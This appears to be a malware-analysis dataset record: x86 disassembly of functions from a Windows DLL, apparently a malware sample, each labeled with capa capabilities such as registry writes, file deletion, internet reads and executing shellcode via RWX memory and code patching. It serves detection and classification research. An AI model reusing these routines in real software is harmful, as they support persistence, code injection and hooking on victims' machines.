joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004b78
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push edi
xor ebx, ebx
lea eax, [ebp - 0x20]
push eax
push ebx
mov edi, ecx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x14], ebx
call fcn.10003b3d
cmp eax, ebx
mov dword [ebp - 4], eax
jne 0x10004ce5
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
mov esi, 0x105
push esi
push ebx
push dword [0x1003e140]
mov dword [ebp - 4], 8
call edi
cmp eax, ebx
mov dword [ebp - 0x1c], eax
je 0x10004cdb
push esi
push ebx
push dword [0x1003e140]
mov dword [ebp - 0x18], esi
call edi
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x10004ccb
mov eax, dword [ebp - 0x18]
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x24]
push eax
push ebx
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x1c]
mov dword [ebp - 0x14], esi
push dword [ebp - 0x10]
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
cmp eax, 0xea
mov dword [ebp - 4], eax
jne 0x10004c5d
cmp dword [ebp - 0x14], esi
jbe 0x10004c21
inc dword [ebp - 0x10]
mov dword [ebp - 4], ebx
jmp 0x10004c95
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 8], eax
jbe 0x10004cbb
push dword [ebp - 0xc]
push ebx
push dword [0x1003e140]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 8]
push eax
push ebx
push dword [0x1003e140]
mov dword [ebp - 0x18], eax
call edi
cmp eax, ebx
mov dword [ebp - 0xc], eax
jne 0x10004c1c
mov dword [ebp - 4], 8
jmp 0x10004cbb
cmp eax, ebx
jne 0x10004caf
cmp dword [ebp + 0x10], ebx
je 0x10004c78
mov edx, dword [ebp - 0xc]
push ebx
push dword [0x1003e218]
push dword [ebp - 8]
call fcn.100148df
push dword [ebp + 0xc]
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
call dword [ebp + 8]
cmp eax, ebx
mov dword [ebp - 4], eax
jne 0x10004caf
push ebx
push dword [0x1003e270]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x10004be2
jmp 0x10004cbb
cmp dword [ebp - 4], 0x103
jne 0x10004cbb
mov dword [ebp - 4], ebx
push dword [ebp - 0xc]
push ebx
push dword [0x1003e140]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [ebp - 0x1c]
push ebx
push dword [0x1003e140]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov eax, dword [ebp - 4]
pop edi
pop ebx
leave
ret 0xc
Function at 0x100062b5
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
cmp dword [0x1003e1c4], 0
jne 0x100062e0
push 0x40
push 0x3000
push 0x1000000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
mov dword [0x1003e1c4], eax
je 0x10006379
push ebx
push ebp
push esi
mov esi, dword [0x1003e1c8]
mov ebx, 0x10036e5d
mov eax, 0x10036e7e
sub eax, ebx
imul esi, eax
add esi, dword [0x1003e1c4]
push eax
push ebx
push esi
call sub.ntdll.dll_memcpy
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 0xc
lea eax, [esp + 0xc]
push eax
push 4
push 0x40
push edi
call ebp
test eax, eax
je 0x10006376
mov ecx, dword [0x1003e030]
mov eax, esi
sub eax, ebx
mov dword [eax + 0x10036e6b], esi
mov dword [eax + 0x10036e7a], edi
movzx ebx, byte [ecx + 2]
mov ebx, dword [edi + ebx*4]
lea edx, [eax + 0x10036e76]
sub ebx, edx
sub ebx, 4
mov dword [edx], ebx
lea eax, [eax + 0x10036e70]
mov edx, 0x100061cf
sub edx, eax
sub edx, 4
mov dword [eax], edx
movzx eax, byte [ecx + 2]
mov dword [edi + eax*4], esi
inc dword [0x1003e1c8]
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x10]
push 0x40
push edi
call ebp
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x1000652e
Capabilities:
Access pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push dword [ebp + 8]
xor esi, esi
mov dword [ebp - 4], esi
xor bl, bl
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
test eax, eax
mov dword [ebp - 0xc], eax
jne 0x10006555
push 0xb
pop eax
jmp 0x1000662a
push edi
push 1
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call fcn.1001296a
test eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
jne 0x10006588
push dword [ebp - 8]
call fcn.100060cc
push dword [ebp - 8]
mov ebx, eax
push 0
push dword [0x1003e140]
shr ebx, 0x10
call edi
push 3
xor ecx, ecx
mov eax, 0x1003dc08
pop edx
cmp bl, byte [eax]
jb 0x10006598
mov ecx, eax
add eax, 5
dec edx
jne 0x10006592
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
mov dword [0x1003e030], ecx
call fcn.10003ba2
test eax, eax
jne 0x100065f0
cmp dword [ebp - 0x10], 8
jne 0x100065f0
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov ebx, dword [ebp - 0xc]
cmp ecx, dword [ebx + 0x58]
jne 0x100065df
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x100065df
cmp ecx, dword [ebx + 0x50]
jae 0x100065df
mov esi, ecx
add esi, dword [ebp + 8]
mov dword [ebp - 4], esi
push eax
push 0
push dword [0x1003e140]
call edi
test esi, esi
jne 0x1000661f
jmp 0x100065f3
mov ebx, dword [ebp - 0xc]
mov eax, dword [ebp + 0xc]
mov dword [0x1003e02c], eax
mov eax, dword [ebx + 0x58]
mov dword [0x1003e024], eax
mov eax, dword [ebp + 8]
mov dword [0x1003e028], eax
push eax
lea eax, [ebp - 4]
call fcn.1000637b
test eax, eax
je 0x1000661c
xor eax, eax
jmp 0x10006629
mov esi, dword [ebp - 4]
push dword [ebp + 8]
mov ecx, esi
call fcn.1000613e
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x10006e02
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
xor ebx, ebx
push edi
mov dword [ebp - 8], ebx
call fcn.100036c1
push 1
push ebx
lea eax, [ebp - 0x14]
push ebx
push eax
push 0x100402c8
push 0x1003f750
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
call fcn.10010c47
test eax, eax
je 0x10006e8c
mov esi, dword [ebp - 0x14]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea ebx, [esi + 0x1c]
push ebx
mov edi, esi
call fcn.10010a31
test eax, eax
jne 0x10006e71
push 0x10040285
push dword [ebp - 4]
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x10006e71
push 2
push 0x30
push 0x10040285
push ebx
call fcn.10010b0f
mov eax, dword [edi]
mov ecx, dword [edi + 4]
mov esi, dword [esi]
mov dword [ecx], eax
push edi
mov dword [eax + 4], ecx
call fcn.100012ff
lea eax, [ebp - 0x14]
cmp esi, eax
jne 0x10006e39
xor ebx, ebx
mov eax, dword [0x1003e260]
movzx esi, al
cmp esi, 6
movzx edi, ah
jb 0x10006ef7
lea eax, [ebp - 4]
push eax
push 0x1003f93a
push SysReAllocString
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x10006ed7
push 4
lea eax, [ebp - 0xc]
push eax
push 4
push ebx
push 0x1003f796
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, 6
ja 0x10006ee1
cmp edi, 2
jb 0x10006ef7
push 1
push 0x1003da68
push 1
push 0x1003da5c
call fcn.1000c4ee
mov dword [ebp - 8], eax
call fcn.10012bbd
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000721f
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [sym.imp.ntdll.dll_wcscpy]
push esi
push edi
push 7
xor esi, esi
pop ecx
xor eax, eax
mov word [ebp - 0x2c], si
lea edi, [ebp - 0x2a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x2c]
push 0x1003f8ac
push eax
mov dword [ebp - 8], esi
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
pop ecx
pop ecx
push esi
push esi
call edi
mov dword [ebp - 0xc], eax
lea eax, [eax + eax + 4]
push eax
push esi
push dword [0x1003e140]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp eax, esi
mov dword [ebp - 4], eax
je 0x10007308
mov eax, dword [ebp - 0xc]
lea eax, [eax + eax + 4]
push eax
push esi
push dword [ebp - 4]
call sub.ntdll.dll_memset
add esp, 0xc
push dword [ebp - 4]
push dword [ebp - 0xc]
call edi
mov edi, dword [ebp - 4]
jmp 0x100072f3
push esi
push dword [0x1003e270]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x100072f8
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x100072e8
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 4
cmp eax, 0x10
jae 0x100072e8
lea eax, [ebp - 0x24]
push edi
push eax
call ebx
pop ecx
pop ecx
push esi
push esi
push esi
push dword [ebp + 0xc]
lea eax, [ebp - 0x2c]
push dword [ebp + 8]
push eax
call fcn.10010c47
add dword [ebp - 8], eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edi, [edi + eax*2 + 2]
cmp word [edi], si
jne 0x1000729b
push dword [ebp - 4]
push esi
push dword [0x1003e140]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x1000746b
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
xor ebx, ebx
push edi
mov esi, eax
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebx
push ebx
push 3
mov edi, 0x1003e2ac
push edi
push 3
push SysReAllocString
push dword [ebp + 8]
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x10007539
push 1
push 0x1003f3e4
lea eax, [ebp - 0xc]
call fcn.10012eb3
cmp eax, ebx
mov dword [ebp + 8], eax
je 0x10007527
push ebx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push dword [ebp + 8]
mov dword [ebp - 0xc], eax
push eax
push ebx
push 2
push edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp eax, ebx
je 0x1000750c
push dword [ebp + 8]
cdq
mov dword [esi], eax
mov eax, dword [ebp - 0xc]
mov dword [esi + 0x10], ebx
mov dword [esi + 4], edx
mov dword [esi + 8], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push dword [ebp + 8]
mov dword [esi + 0xc], eax
add esi, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x10007515
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
push dword [ebp + 8]
push ebx
push dword [0x1003e140]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1000752e
mov dword [ebp - 4], 8
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10007542
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x1000754c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
push edi
xor esi, esi
push 0x40
lea eax, [ebp - 0x64]
push esi
push eax
mov dword [ebp - 8], esi
call sub.ntdll.dll_memset
mov dword [ebp - 0x20], esi
xor eax, eax
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
add esp, 0xc
push dword [ebp + 0xc]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x68], 0x44
mov dword [ebp - 4], esi
call fcn.100109df
mov edi, eax
cmp edi, esi
je 0x100075c2
push edi
call fcn.10012a67
mov ebx, eax
cmp ebx, esi
je 0x100075b1
push ebx
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
push eax
push ebx
push edi
call sub.ntdll.dll_wcstombs
add esp, 0xc
push ebx
jmp 0x100075b2
push edi
call fcn.100012ff
cmp dword [ebp - 4], esi
je 0x100075c2
mov eax, dword [ebp - 4]
mov dword [ebp + 0xc], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x68]
push eax
push dword [ebp + 0xc]
push esi
push 0xc000000
push esi
push esi
push esi
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10007630
mov eax, dword [0x1003e270]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x20]
push 0xffffffffffffffff
mov dword [ebp - 0xc], eax
push esi
lea eax, [ebp - 0x10]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
cmp eax, esi
mov dword [ebp - 8], eax
jne 0x10007611
mov dword [ebp - 8], 0x102
jmp 0x1000761e
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x1c]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x20]
call edi
jmp 0x10007639
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
cmp dword [ebp - 4], esi
je 0x10007646
push dword [ebp - 4]
call fcn.100012ff
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x100078e1
Capabilities:
Get file attributes

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
push edi
push dword [esp + 0x20]
mov dword [esp + 0x18], 8
xor ebx, ebx
xor edi, edi
call ebp
add eax, 0xc
push eax
push ebx
push dword [0x1003e140]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x10007a28
push dword [esp + 0x20]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x5c
push edi
push esi
call dword [sym.imp.SHLWAPI.dll_StrRChrA]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x10007945
mov dword [esp + 0x14], 3
jmp 0x100079f9
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
test al, 0x10
jne 0x10007959
mov eax, dword [esp + 0x18]
mov byte [eax], bl
push 0x162e
call fcn.100111bd
mov edi, eax
test edi, edi
jne 0x10007976
mov dword [esp + 0x14], 0x3ee
jmp 0x100079f9
push edi
call ebp
add eax, 0x14
push eax
push 0
push dword [0x1003e140]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x100079f9
push dword [esp + 0x24]
push dword [esp + 0x24]
push edi
call fcn.10007650
test eax, eax
mov dword [esp + 0x14], eax
jne 0x100079f9
push edi
push 0x1003fd3b
push ebx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push esi
push ebx
call fcn.1000754c
push esi
mov dword [esp + 0x18], eax
call ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x1003fd25
push esi
mov dword [esp + 0x28], eax
call ebp
push esi
call fcn.10011151
mov eax, dword [esp + 0x20]
push 0x1003fd30
push esi
mov byte [eax + esi], 0
call ebp
push esi
call fcn.10011151
push edi
call fcn.10011151
push esi
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
push dword [0x1003e140]
call esi
test edi, edi
je 0x10007a19
push edi
push 0
push dword [0x1003e140]
call esi
test ebx, ebx
je 0x10007a28
push ebx
push 0
push dword [0x1003e140]
call esi
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 8
Function at 0x10007d7f
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
and dword [ebp - 0x10], 0
push ebx
push 0xf00
call fcn.100111bd
mov ebx, eax
test ebx, ebx
mov dword [ebp - 0xc], ebx
je 0x10007e68
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
lea esi, [eax + ebx - 1]
push 0x1003fe38
mov dword [ebp - 4], eax
mov byte [esi], 0
call fcn.10007bb0
test eax, eax
jne 0x10007e58
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
push ebx
mov byte [esi], 0x31
call fcn.10010ade
test eax, eax
jne 0x10007e51
push edi
mov edi, dword [ebp - 8]
lea eax, [ebp - 8]
push eax
mov esi, 0x1003fe69
push esi
push dword [ebp - 4]
push edi
call fcn.10013c11
add esp, 0x10
test eax, eax
je 0x10007e41
mov ecx, dword [ebp - 8]
sub ecx, edi
add ecx, eax
mov ebx, eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
sub eax, ecx
push esi
push eax
add ecx, edi
push ecx
call fcn.10013c11
add esp, 0x10
test eax, eax
jne 0x10007df9
test ebx, ebx
je 0x10007e3e
mov eax, dword [ebp - 8]
push str._s:_r
push ebx
mov byte [eax + ebx], 0
call dword [sym.imp.SHLWAPI.dll_StrTrimA]
push ebx
xor eax, eax
call fcn.100134f7
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
push edi
push 0
push dword [0x1003e140]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
push 0
push dword [0x1003e140]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop esi
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0x34
pop ebx
leave
ret

Function at 0x10007ecc
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x14]
push esi
lea eax, [ebp + 0x14]
push eax
push dword [ebp + 8]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov esi, eax
xor eax, eax
cmp esi, eax
jne 0x10007f64
cmp dword [ebp + 0x10], eax
push edi
je 0x10007f47
cmp ebx, eax
je 0x10007f47
push ebx
call fcn.100012ea
mov edi, eax
test edi, edi
je 0x10007f42
push ebx
push dword [ebp + 0x10]
push edi
call sub.ntdll.dll_memcpy
add esp, 0xc
cmp dword [ebp + 0x18], 0
je 0x10007f26
mov eax, ebx
shr eax, 2
je 0x10007f26
push eax
mov edx, edi
call fcn.100148b4
push ebx
push edi
push 3
push 0
push dword [ebp + 0xc]
push dword [ebp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push edi
mov esi, eax
call fcn.100012ff
jmp 0x10007f5a
push 8
pop esi
jmp 0x10007f5a
push eax
push eax
push 3
push eax
push dword [ebp + 0xc]
push dword [ebp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
push dword [ebp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 0x14
Function at 0x1000917d
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 4], 0
or dword [ebp - 8], 0xffffffff
cmp byte [0x1003e260], 5
push ebx
push edi
ja 0x1000919d
mov dword [ebp - 8], 0x1388
mov edi, 0x2000
push edi
push 0
push dword [0x1003e140]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x1000923c
lea eax, [ebp - 4]
push eax
push edi
push ebx
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x10009205
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x1000921b
push dword [ebp - 8]
push dword [esi + 0x3c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
jne 0x100091f2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x102
je 0x1000922b
test eax, eax
jne 0x1000921b
mov eax, dword [esi + 0x30]
cmp eax, 1
je 0x1000921b
cmp dword [ebp - 4], 0
je 0x10009224
mov eax, dword [esi]
mov ecx, dword [eax]
push 0
push dword [ebp - 4]
push ebx
push eax
call dword [ecx + 0x10]
jmp 0x100091bb
mov dword [esi + 0x30], 1
jmp 0x1000922b
mov dword [esi + 0x30], 2
push ebx
push 0
push dword [0x1003e140]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x10009243
mov dword [esi + 0x30], 1
mov eax, dword [esi]
call fcn.10001496
pop edi
pop ebx
leave
ret 4

Function at 0x100099f9
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
and dword [ebp + 8], 0
push esi
push edi
push ebx
mov esi, eax
call fcn.10009328
mov edi, eax
test edi, edi
je 0x10009a49
push ebx
call fcn.100092c2
lea eax, [esi + 0x18]
mov ecx, dword [eax]
push eax
push ecx
push dword [esi + 0x14]
mov dword [esi + 0x1c], ecx
mov edx, dword [edi]
mov ebx, dword [edx]
push edx
call dword [ebx + 0xc]
test eax, eax
jne 0x10009a38
xor esi, esi
inc esi
jmp 0x10009a3b
mov esi, dword [ebp + 8]
push 0
lea eax, [edi - 0x1c]
push 0
call fcn.1001c3ac
jmp 0x10009a67
cmp dword [ebp + 0x14], 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
push ebx
je 0x10009a5f
call dword [sym.imp.WININET.dll_InternetReadFileExW]
jmp 0x10009a65
call dword [sym.imp.WININET.dll_InternetReadFileExA]
mov esi, eax
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 0x10
Function at 0x1000b230
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push edi
push 8
pop ebx
push dword [ebp + 8]
call esi
add eax, 5
push eax
push 0
push dword [0x1003e140]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x1000b2bb
push dword [ebp + 8]
push 0x1003f37e
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [0x1003e224]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov ebx, eax
test ebx, ebx
jne 0x1000b2ac
push dword [ebp + 0xc]
call esi
inc eax
push eax
push dword [ebp + 0xc]
push 1
push ebx
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov ebx, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
push 0
push dword [0x1003e140]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 8
Function at 0x1000be7b
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
mov ebx, dword [ebp + 0x10]
mov ecx, dword [ebx]
push esi
xor eax, eax
push edi
xor esi, esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov ax, word [ebp + 8]
mov word [ebp - 0x1e], ax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebx + 4]
mov dword [ebp - 0x18], ecx
or ecx, eax
mov dword [ebp + 0x10], 0xe8
mov dword [ebp - 0x14], eax
je 0x1000bec1
add dword [ebp - 0x18], 1
adc dword [ebp - 0x14], esi
push 0x42
push esi
push dword [0x1003e140]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp eax, esi
je 0x1000bee3
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.1000bba4
mov dword [ebp + 8], eax
jmp 0x1000bee6
mov dword [ebp + 8], esi
cmp dword [ebp + 8], esi
je 0x1000bf71
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call fcn.10010a31
cmp eax, esi
mov dword [ebp + 0x10], eax
jne 0x1000bf61
mov esi, dword [ebp - 8]
lea eax, [ebp + 0xc]
push eax
lea edi, [ebp - 0x18]
call fcn.1000bc31
xor esi, esi
cmp eax, esi
je 0x1000bf3f
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x18]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x18], 1
mov dword [ebx], eax
mov eax, dword [ebp - 0x14]
adc dword [ebp - 0x14], esi
mov dword [ebx + 4], eax
mov dword [ebp + 0x10], esi
jmp 0x1000bf4f
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp + 0x10], 0xe8
push dword [ebp - 8]
push esi
push dword [0x1003e140]
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
push dword [ebp + 8]
push esi
push dword [0x1003e140]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x1003e200]
mov edi, dword [eax]
cmp edi, esi
je 0x1000bfb3
mov eax, dword [edi]
cmp eax, esi
je 0x1000bfb3
cmp dword [edi + 0x70c], esi
jne 0x1000bfb3
cmp dword [edi + 0x708], esi
jne 0x1000bfb3
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x14]
lea eax, [ebp - 0x28]
push dword [ebp - 0x18]
push eax
push edi
call fcn.1001fc42
push dword [edi]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [ebp + 0x10]
pop edi
pop esi
pop ebx
leave
ret 0x14